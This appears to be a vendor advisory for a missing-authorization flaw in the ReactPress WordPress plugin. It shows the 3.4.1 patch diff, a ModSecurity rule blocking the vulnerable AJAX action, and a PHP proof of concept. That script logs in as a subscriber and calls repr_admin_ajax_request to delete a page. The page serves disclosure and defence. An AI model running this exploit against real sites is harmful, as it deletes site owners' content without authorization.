--- a/reactpress/includes/Activator.php
+++ b/reactpress/includes/Activator.php
@@ -13,6 +13,10 @@

 namespace ReactPressIncludes;

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 use ReactPressAdminUtils;
 use WP_Post;

@@ -114,25 +118,24 @@
 			// SQL "IN" keyword
 			$post_type_placeholders = implode(', ', array_fill(0, count($post_type), '%s'));
 			$prepare_values = array_merge([$page_slug], $post_type);
-			$sql = $wpdb->prepare("
+			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery -- $post_type_placeholders only contains "%s" placeholders.
+			$page = $wpdb->get_var($wpdb->prepare("
 				SELECT ID
 				FROM $wpdb->posts
 				WHERE post_name = %s
 				AND post_type IN ($post_type_placeholders)
-			", $prepare_values);
-			$page = $wpdb->get_var($sql);
+			", $prepare_values));
+			// phpcs:enable
 		} else {
-			$sql = $wpdb->prepare("
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- Lookup by slug across post types, not covered by core API.
+			$page = $wpdb->get_var($wpdb->prepare("
 				SELECT ID
 				FROM $wpdb->posts
 				WHERE post_name = %s
 				AND post_type = %s
-			", $page_slug, $post_type);
-			$page = $wpdb->get_var($sql);
+			", $page_slug, $post_type));
 		}

-		$page = $wpdb->get_var($sql);
-
 		if ($page)
 			return get_post($page);

--- a/reactpress/includes/Core.php
+++ b/reactpress/includes/Core.php
@@ -30,12 +30,15 @@

 namespace ReactPressIncludes;

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 //* The class responsible for defining all actions that occur in the admin area.
 use ReactPressAdminAdmin;

 //* The class responsible for defining internationalization functionality
 //* of the plugin.
-use ReactPressIncludesI18n;

 //* The class responsible for orchestrating the actions and filters of the
 //* core plugin.
@@ -93,7 +96,6 @@
 		$this->plugin_name = 'reactpress';

 		$this->load_dependencies();
-		$this->set_locale();
 		$this->define_admin_hooks();
 		$this->define_public_hooks();
 	}
@@ -118,21 +120,6 @@
 		$this->loader = new Loader();
 	}

-	/**
-	 * Define the locale for this plugin for internationalization.
-	 *
-	 * Uses the Reactpress_i18n class in order to set the domain and to register the hook
-	 * with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 */
-	private function set_locale() {
-
-		$plugin_i18n = new I18n();
-
-		$this->loader->add_action('plugins_loaded', $plugin_i18n, 'load_plugin_textdomain');
-	}

 	/**
 	 * Register all of the hooks related to the admin area functionality
--- a/reactpress/includes/Deactivator.php
+++ b/reactpress/includes/Deactivator.php
@@ -13,6 +13,10 @@

 namespace ReactPressIncludes;

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 class Deactivator {

 	/**
--- a/reactpress/includes/I18n.php
+++ b/reactpress/includes/I18n.php
@@ -1,46 +0,0 @@
-<?php
-
-/**
- * Define the internationalization functionality
- *
- * Loads and defines the internationalization files for this plugin
- * so that it is ready for translation.
- *
- * @link       https://rockiger.com
- * @since      1.0.0
- *
- * @package    Reactpress
- * @subpackage Reactpress/includes
- */
-
-/**
- * Define the internationalization functionality.
- *
- * Loads and defines the internationalization files for this plugin
- * so that it is ready for translation.
- *
- * @since      1.0.0
- * @package    Reactpress
- * @subpackage Reactpress/includes
- * @author     Marco Laspe <marco@rockiger.com>
- */
-
-namespace ReactPressIncludes;
-
-class I18n {
-
-
-	/**
-	 * Load the plugin text domain for translation.
-	 *
-	 * @since    1.0.0
-	 */
-	public function load_plugin_textdomain() {
-
-		load_plugin_textdomain(
-			'reactpress',
-			false,
-			dirname(dirname(plugin_basename(__FILE__))) . '/languages/'
-		);
-	}
-}
--- a/reactpress/includes/Loader.php
+++ b/reactpress/includes/Loader.php
@@ -24,6 +24,10 @@

 namespace ReactPressIncludes;

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 class Loader {

 	/**
--- a/reactpress/includes/index.php
+++ b/reactpress/includes/index.php
@@ -1 +1,5 @@
-<?php // Silence is golden
 No newline at end of file
+<?php
+if (!defined('ABSPATH')) {
+	exit;
+}
+// Silence is golden.
 No newline at end of file
--- a/reactpress/index.php
+++ b/reactpress/index.php
@@ -1 +1,5 @@
-<?php // Silence is golden
 No newline at end of file
+<?php
+if (!defined('ABSPATH')) {
+	exit;
+}
+// Silence is golden.
 No newline at end of file
--- a/reactpress/public/User.php
+++ b/reactpress/public/User.php
@@ -23,6 +23,10 @@

 namespace ReactPressUser;

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 use ReactPressAdminUtils;

 class User {
@@ -119,34 +123,42 @@
 	 * @since 1.0.0
 	 */
 	public function repr_change_page_template($template) {
-		if (is_page()) {
-			$meta = get_post_meta(intval(get_the_ID()));
+		if (!is_page()) {
+			return $template;
+		}

-			// Check if the page template is a Reactpress template
-			if (
-				!empty($meta['_wp_page_template'][0]) &&
-				$meta['_wp_page_template'][0] != $template &&
-				'default' !== $meta['_wp_page_template'][0] &&
-				strpos($meta['_wp_page_template'][0], 'react-page-template.php')
-			) {
-				// At this point we know it's a Reactpress template
-				$template = $meta['_wp_page_template'][0];
-
-				// determine the location of the templates folder reference
-				$ndx = intval(strpos($template, 'templates/'));
-
-				// If it's not at the beginning
-				if (0 != $ndx) {
-					// change the template to be relative to the plugin's folder (i.e., templates/react-page-template.php)
-					$template = substr($template, $ndx);
-				}
+		$meta = get_post_meta(intval(get_the_ID()));
+		$stored = $meta['_wp_page_template'][0] ?? '';
+		if (!is_string($stored) || $stored === '' || $stored === 'default') {
+			return $template;
+		}

-				// Prepend the real path at runtime
-				$template = REPR_PLUGIN_PATH . $template;
-			}
+		$allowed = [
+			'templates/empty-react-page-template.php',
+			'templates/react-page-template.php',
+		];
+		$relative = $stored;
+		$ndx = strpos($stored, 'templates/');
+		if ($ndx !== false) {
+			$relative = substr($stored, $ndx);
+		}
+		if (!in_array($relative, $allowed, true)) {
+			return $template;
+		}
+
+		$candidate = REPR_PLUGIN_PATH . $relative;
+		$real = realpath($candidate);
+		$plugin_root = realpath(REPR_PLUGIN_PATH);
+		if ($real === false || $plugin_root === false || !is_file($real)) {
+			return $template;
+		}
+		$real_norm = str_replace('\', '/', $real);
+		$root_prefix = rtrim(str_replace('\', '/', $plugin_root), '/') . '/';
+		if (!str_starts_with($real_norm, $root_prefix)) {
+			return $template;
 		}

-		return $template;
+		return $real;
 	}

 	/**
@@ -169,8 +181,8 @@
 			foreach ($suitable_apps as $app_index => $current_app) {

 				// Setting path variables.
-				$appname = $current_app['appname'];
-				$plugin_app_dir_url = escapeshellcmd(REPR_APPS_URL . "/{$appname}/");
+				$appname = sanitize_file_name($current_app['appname']);
+				$plugin_app_dir_url = REPR_APPS_URL . "/{$appname}/";
 				$apptype = Utils::get_app_type($appname);
 				$css_files = [];
 				$js_files = [];
@@ -205,7 +217,7 @@

 				// Load css files.
 				foreach ($css_files as $index => $css_file) {
-					wp_enqueue_style('rp-react-app-asset-' . $app_index . '-' . $index, $css_file);
+					wp_enqueue_style('rp-react-app-asset-' . $app_index . '-' . $index, $css_file, array(), REPR_VERSION);
 				}

 				// Load js files.
@@ -215,18 +227,62 @@
 			}
 			// Variables for app use
 			$current_user = wp_get_current_user();
-			unset($current_user->user_pass); // Don't show encypted password for security reasons.
+
+			$graphql_general_settings = get_option('graphql_general_settings', false);
+
+			// Set default GraphQL endpoint URL as fallback in case no custom setting exists.
+			// This matches WPGraphQL’s default endpoint URL.
+			$graphql_endpoint = 'graphql';
+
+			if (is_array($graphql_general_settings) && !empty($graphql_general_settings['graphql_endpoint']) && is_string($graphql_general_settings['graphql_endpoint'])) {
+				$candidate = trim($graphql_general_settings['graphql_endpoint'], "/ tnrx0B");
+				if ($candidate !== '' && preg_match('#^[A-Za-z0-9/_-]+$#', $candidate)) {
+					$graphql_endpoint = $candidate;
+				}
+			}
+
+			$safe_post = $post;
+			if ($post instanceof WP_Post) {
+				$safe_post = clone $post;
+				$safe_post->post_password = '';
+			}
+
+			// Only public profile fields. Raw user meta includes session tokens.
+			$safe_meta = [
+				'first_name' => '',
+				'last_name' => '',
+				'nickname' => '',
+				'description' => '',
+			];
+			if ($current_user->ID) {
+				foreach (array_keys($safe_meta) as $meta_key) {
+					$meta_value = get_user_meta($current_user->ID, $meta_key, true);
+					$safe_meta[$meta_key] = is_string($meta_value) ? $meta_value : '';
+				}
+			}
+
 			wp_localize_script('rp-react-app-asset-0-0', 'reactPress', array(
 				'api' => [
 					'nonce' => wp_create_nonce('wp_rest'),
 					'rest_url' => esc_url_raw(rest_url()),
-					'graphql_url' => esc_url_raw(site_url(get_option('graphql_general_settings', ["graphql_endpoint" => 'graphql'])['graphql_endpoint'])),
+					'graphql_url' => esc_url_raw(site_url($graphql_endpoint)),
+				],
+				'post' => $safe_post,
+				'user' => [
+					'ID' => (int) $current_user->ID,
+					'caps' => $current_user->caps,
+					'roles' => array_values((array) $current_user->roles),
+					'allcaps' => $current_user->allcaps,
+					'data' => [
+						'ID' => (int) $current_user->ID,
+						'user_login' => (string) $current_user->user_login,
+						'user_nicename' => (string) $current_user->user_nicename,
+						'user_email' => (string) $current_user->user_email,
+						'user_url' => (string) $current_user->user_url,
+						'display_name' => (string) $current_user->display_name,
+					],
 				],
-				'post' => $post,
-				'user' => $current_user,
-				'usermeta' => get_user_meta(
-					get_current_user_id()
-				),
+				'usermeta' => $safe_meta,
 			));
 		}
 	}
@@ -301,15 +357,27 @@
 		$js_files = [];
 		$css_files = [];

-		$react_app_build = escapeshellcmd(REPR_APPS_URL . "/{$appname}/") . 'build/';
-		$manifest_path = escapeshellcmd(REPR_APPS_PATH . "/{$appname}/build/asset-manifest.json");
+		$react_app_build = REPR_APPS_URL . "/{$appname}/build/";
+		$manifest_path = REPR_APPS_PATH . "/{$appname}/build/asset-manifest.json";
+		$real_manifest = realpath($manifest_path);
+		$real_apps = realpath(REPR_APPS_PATH);
+		if (
+			$real_manifest === false
+			|| $real_apps === false
+			|| !is_file($real_manifest)
+			|| !str_starts_with(str_replace('\', '/', $real_manifest), rtrim(str_replace('\', '/', $real_apps), '/') . '/')
+		) {
+			return [$js_files, $css_files];
+		}
+		$manifest_path = $real_manifest;

 		// Request manifest file.
+		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler -- Converts file_get_contents() warnings to exceptions; restored below.
 		set_error_handler(
 			// Needed to surpress pontential errors in file_get_contents and make try/catch
 			// usable for php errors - which are much older than exceptions.
 			function ($severity, $message, $file, $line) {
-				throw new ErrorException($message, $severity, $severity, $file, $line);
+				throw new ErrorException(esc_html($message), absint($severity), absint($severity), esc_html($file), absint($line));
 			}
 			);
 		$request = false;
@@ -333,11 +401,11 @@
 					// We use array_values to reindex the array (because PHP)
 					$js_files = array_map(fn ($file_name) => $react_app_build . $file_name, array_values(array_filter(
 						$assets_files,
-						fn ($file_string) => pathinfo($file_string, PATHINFO_EXTENSION) === 'js'
+						fn ($file_string) => is_string($file_string) && pathinfo($file_string, PATHINFO_EXTENSION) === 'js' && $this->is_safe_asset_path($file_string)
 						)));
 					$css_files = array_map(fn ($file_name) => $react_app_build . $file_name, array_filter(
 						$assets_files,
-						fn ($file_string) => pathinfo($file_string, PATHINFO_EXTENSION) === 'css'
+						fn ($file_string) => is_string($file_string) && pathinfo($file_string, PATHINFO_EXTENSION) === 'css' && $this->is_safe_asset_path($file_string)
 						));
 				}
 			}
@@ -347,6 +415,20 @@
 	}

 	/**
+	 * Build-manifest paths must stay relative. A poisoned manifest must not
+	 * be able to point script tags at another host.
+	 */
+	private function is_safe_asset_path(string $file_string): bool {
+		if ($file_string === '' || str_contains($file_string, '..') || str_contains($file_string, '\')) {
+			return false;
+		}
+		if (str_starts_with($file_string, '//') || preg_match('#^[a-z][a-z0-9+.-]*:#i', $file_string)) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
 	 * Add new rewrite rules for every app to make react router usable.
 	 *
 	 * @since 1.4.0
--- a/reactpress/public/index.php
+++ b/reactpress/public/index.php
@@ -1 +1,5 @@
-<?php // Silence is golden
 No newline at end of file
+<?php
+if (!defined('ABSPATH')) {
+	exit;
+}
+// Silence is golden.
 No newline at end of file
--- a/reactpress/public/partials/reactpress-public-display.php
+++ b/reactpress/public/partials/reactpress-public-display.php
@@ -1,5 +1,9 @@
 <?php

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 /**
  * Provide a public-facing view for the plugin
  *
--- a/reactpress/reactpress.php
+++ b/reactpress/reactpress.php
@@ -16,7 +16,10 @@
  * Plugin Name:       ReactPress
  * Plugin URI:        https://rockiger.com/en/reactpress
  * Description:       Easily create, build and deploy React apps into your existing WordPress sites.
- * Version:           3.4.0
+ * Version:           3.4.1
+ * Requires at least: 5.9
+ * Requires PHP:      8.0
+ * Tested up to:      7.1.3
  * Author:            Rockiger
  * Author URI:        https://rockiger.com/en/reactpress
  * License:           GPL-2.0+
@@ -50,7 +53,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define("REPR_VERSION", "3.4.0");
+define("REPR_VERSION", "3.4.1");
 define("REPR_IS_WINDOWS", PHP_OS_FAMILY === "Windows");

 define(
@@ -77,8 +80,7 @@
  * The code that runs during plugin activation.
  * This action is documented in includes/class-reactpress-activator.php
  */
-function activate_reactpress(): void
-{
+function repr_activate(): void {
     Activator::activate();
 }

@@ -86,13 +88,12 @@
  * The code that runs during plugin deactivation.
  * This action is documented in includes/class-reactpress-deactivator.php
  */
-function deactivate_reactpress(): void
-{
+function repr_deactivate(): void {
     Deactivator::deactivate(); // @phpstan-ignore staticMethod.resultUnused
 }

-register_activation_hook(__FILE__, "activate_reactpress");
-register_deactivation_hook(__FILE__, "deactivate_reactpress");
+register_activation_hook(__FILE__, "repr_activate");
+register_deactivation_hook(__FILE__, "repr_deactivate");

 /**
  * Begins execution of the plugin.
@@ -103,28 +104,11 @@
  *
  * @since    1.0.0
  */
-function run_reactpress(): void
-{
+function repr_run(): void {
     $plugin = new Core();
     $plugin->run();
 }
-run_reactpress();
-
-/**
- * @param array<mixed> ...$data
- *
- * @return void
- */
-function repr_debug(array ...$data): void
-{
-    if (WP_DEBUG !== true) {
-        return;
-    }
-    $json = json_encode($data);
-    add_action("shutdown", function () use ($json) {
-        echo "<script>console.log({$json})</script>";
-    });
-}
+repr_run();

 /**
  * Write error to a log file named debug.log in wp-content.
@@ -132,13 +116,14 @@
  * @param mixed $log The thing you want to log.
  * @since 1.0.0
  */
-function repr_log($log): void
-{
-    if (true === WP_DEBUG) {
-        if (is_array($log) || is_object($log)) {
-            error_log(print_r($log, true));
-        } else {
-            error_log($log);
+function repr_log($log): void {
+    if (defined('WP_DEBUG_LOG') && WP_DEBUG_LOG && true === WP_DEBUG) {
+        if ($log instanceof Throwable) {
+            $log = $log->getMessage();
+        } elseif (!is_scalar($log)) {
+            $log = wp_json_encode($log);
         }
+        // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Only active when WP_DEBUG and WP_DEBUG_LOG are enabled.
+        error_log((string) $log);
     }
 }
--- a/reactpress/tests/ActivatorTest.php
+++ b/reactpress/tests/ActivatorTest.php
@@ -1,63 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use PHPUnitFrameworkTestCase;
-use ReactPressIncludesActivator;
-
-class ActivatorPostMock {
-    public int $ID = 100;
-}
-
-final class ActivatorTest extends TestCase {
-    public function testActivateHelper() {
-        $post = new ActivatorPostMock();
-        $this->assertEquals(Activator::activate_helper([], '2.0.0', fn ($var) => $post), []);
-        $this->assertEquals(
-            [
-                [
-                    "allowsRouting" => false,
-                    "appname" => "test1",
-                    "pageslugs" => [
-                        "test1",
-                    ],
-                    "type" => "development",
-                ],
-            ],
-            Activator::activate_helper(
-                [[
-                    "allowsRouting" => false,
-                    "appname" => "test1",
-                    "pageslugs" => [
-                        "test1",
-                    ],
-                    "type" => "development",
-                ]],
-                '3.0.0',
-                fn ($var) => $post
-            ),
-        );
-        $this->assertEquals(
-            [
-                [
-                    "allowsRouting" => false,
-                    "appname" => "test1",
-                    "pageIds" => [
-                        100,
-                    ],
-                    "type" => "development",
-                ],
-            ],
-            Activator::activate_helper(
-                [[
-                    "allowsRouting" => false,
-                    "appname" => "test1",
-                    "pageslug" => "test1",
-                    "type" => "development",
-                ]],
-                '2.0.0',
-                fn ($var) => $post
-            ),
-        );
-    }
-}
--- a/reactpress/tests/UtilsTest.php
+++ b/reactpress/tests/UtilsTest.php
@@ -1,129 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use PHPUnitFrameworkTestCase;
-use MockeryAdapterPhpunitMockeryPHPUnitIntegration;
-use BrainMonkey;
-use HamcrestUtil;
-use ReactPressAdminUtils;
-
-use function BrainMonkeyFunctionsstubs;
-
-class UtilsPostMock {
-    public int $ID = 100;
-    public string $post_title = 'Title';
-}
-
-define('REPR_APPS_PATH', '/htdocs/wp-content/reactpress/apps');
-$_SERVER['DOCUMENT_ROOT'] = '/htdocs';
-$GLOBALS['get_post'] = fn (int $id) => new UtilsPostMock();
-$GLOBALS['get_permalink'] = fn (int $id) => '/test';
-
-final class UtilsTest extends TestCase {
-
-    // Adds Mockery expectations to the PHPUnit assertions count.
-    use MockeryPHPUnitIntegration;
-
-    protected function setUp(): void {
-        parent::setUp();
-        MonkeysetUp();
-    }
-
-    protected function tearDown(): void {
-        MonkeytearDown();
-        parent::tearDown();
-    }
-
-    public function testAppPath() {
-        $this->assertEquals('/htdocs/wp-content/reactpress/apps/test', Utils::app_path('test'));
-        $this->assertEquals('/wp-content/reactpress/apps/test', Utils::app_path('test', true));
-    }
-
-    public function testArrayAdd() {
-        $this->assertEquals(['test'], Utils::array_add([], 'test'));
-        $this->assertEquals([1, 2], Utils::array_add([1], 2));
-    }
-
-    public function testGetAppOptions() {
-        $this->assertEquals(null, Utils::__get_app_options('test', []));
-        $this->assertEquals(
-            [
-                "allowsRouting" => false,
-                "appname" => "test",
-                "pageIds" => [
-                    100,
-                ],
-                "type" => "development",
-            ],
-            Utils::__get_app_options('test', [
-                [
-                    "allowsRouting" => false,
-                    "appname" => "test",
-                    "pageIds" => [
-                        100,
-                    ],
-                    "type" => "development",
-                ],
-            ])
-        );
-    }
-
-    public function testDeletePage() {
-        MonkeyFunctionsstubs([
-            'get_post' => new UtilsPostMock(),
-            'get_permalink' => '/title'
-        ]);
-        $this->assertEquals([], Utils::__delete_page([], 'test', 100));
-        $this->assertEquals(Utils::__get_apps([
-            [
-                "allowsRouting" => false,
-                "appname" => "test1",
-                "pageIds" => [],
-            ],
-        ], []), Utils::__delete_page(Utils::__get_apps([
-            [
-                "allowsRouting" => false,
-                "appname" => "test1",
-                "pageIds" => [
-                    100,
-                ],
-            ],
-        ], []), 'test1', 100));
-    }
-
-    /** Test when directories of React apps are present */
-    public function testGetApps_fromDir() {
-        MonkeyFunctionsstubs([
-            'get_post' => null,
-            'get_permalink' => null
-        ]);
-        $this->assertEquals([], Utils::__get_apps([], []));
-        $this->assertEquals([[
-            "allowsRouting" => false,
-            "appname" => "test",
-            "pageIds" => [],
-            "pages" => [],
-            "type" => 'orphan',
-        ]], Utils::__get_apps([], ['test']));
-    }
-
-    /** Test the when repr_apps are present */
-    public function testGetApps_fromOptions() {
-        MonkeyFunctionsstubs([
-            'get_post' => new UtilsPostMock(),
-            'get_permalink' => 'https://domain.test/title'
-        ]);
-        $this->assertEquals([[
-            "allowsRouting" => false,
-            "appname" => "test",
-            "pageIds" => [100],
-            "pages" => [[
-                'ID' => 100,
-                'permalink' => 'https://domain.test/title',
-                'title' => 'Title'
-            ]],
-            "type" => 'orphan',
-        ]], Utils::__get_apps([['allowsRouting' => false, "appname" => 'test', 'pageIds' => [100]]], []));
-    }
-}
--- a/reactpress/vendor/composer/autoload_classmap.php
+++ b/reactpress/vendor/composer/autoload_classmap.php
@@ -13,7 +13,6 @@
     'ReactPress\Includes\Activator' => $baseDir . '/includes/Activator.php',
     'ReactPress\Includes\Core' => $baseDir . '/includes/Core.php',
     'ReactPress\Includes\Deactivator' => $baseDir . '/includes/Deactivator.php',
-    'ReactPress\Includes\I18n' => $baseDir . '/includes/I18n.php',
     'ReactPress\Includes\Loader' => $baseDir . '/includes/Loader.php',
     'ReactPress\User\User' => $baseDir . '/public/User.php',
 );
--- a/reactpress/vendor/composer/autoload_static.php
+++ b/reactpress/vendor/composer/autoload_static.php
@@ -38,7 +38,6 @@
         'ReactPress\Includes\Activator' => __DIR__ . '/../..' . '/includes/Activator.php',
         'ReactPress\Includes\Core' => __DIR__ . '/../..' . '/includes/Core.php',
         'ReactPress\Includes\Deactivator' => __DIR__ . '/../..' . '/includes/Deactivator.php',
-        'ReactPress\Includes\I18n' => __DIR__ . '/../..' . '/includes/I18n.php',
         'ReactPress\Includes\Loader' => __DIR__ . '/../..' . '/includes/Loader.php',
         'ReactPress\User\User' => __DIR__ . '/../..' . '/public/User.php',
     );
--- a/reactpress/vendor/composer/installed.php
+++ b/reactpress/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'rockiger/reactpress',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '6c7f04e2785e8991fb633dd4c02f396288489f21',
+        'reference' => 'd8da64805b7366ede3a2fdda1a199c83936e3e23',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'rockiger/reactpress' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '6c7f04e2785e8991fb633dd4c02f396288489f21',
+            'reference' => 'd8da64805b7366ede3a2fdda1a199c83936e3e23',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/reactpress/vendor/composer/platform_check.php
+++ b/reactpress/vendor/composer/platform_check.php
@@ -4,8 +4,8 @@

 $issues = array();

-if (!(PHP_VERSION_ID >= 70400)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.4.0". You are running ' . PHP_VERSION . '.';
+if (!(PHP_VERSION_ID >= 80000)) {
+    $issues[] = 'Your Composer dependencies require a PHP version ">= 8.0.0". You are running ' . PHP_VERSION . '.';
 }

 if ($issues) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66455
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202666455,phase:2,deny,status:403,chain,msg:'CVE-2026-66455 via ReactPress AJAX missing authorization',severity:'CRITICAL',tag:'CVE-2026-66455'"
  SecRule ARGS_POST:action "@streq repr_admin_ajax_request" "chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66455 - ReactPress <= 3.4.0 - Missing Authorization

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
$appname = 'myapp'; // Target app name (enumerate or guess)

// Step 1: Authenticate as a subscriber
$login_url = $target_url . '/wp-login.php';
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Send malicious AJAX request to delete a page
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = [
    'action' => 'repr_admin_ajax_request',
    'appname' => $appname,
    'param' => 'delete', // Triggers delete_page
    'pageId' => '1', // ID of page to delete (enumerate)
    'permalink' => 'http://example.com/about' // Original permalink of target page
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";
// Clean up cookie file
@unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.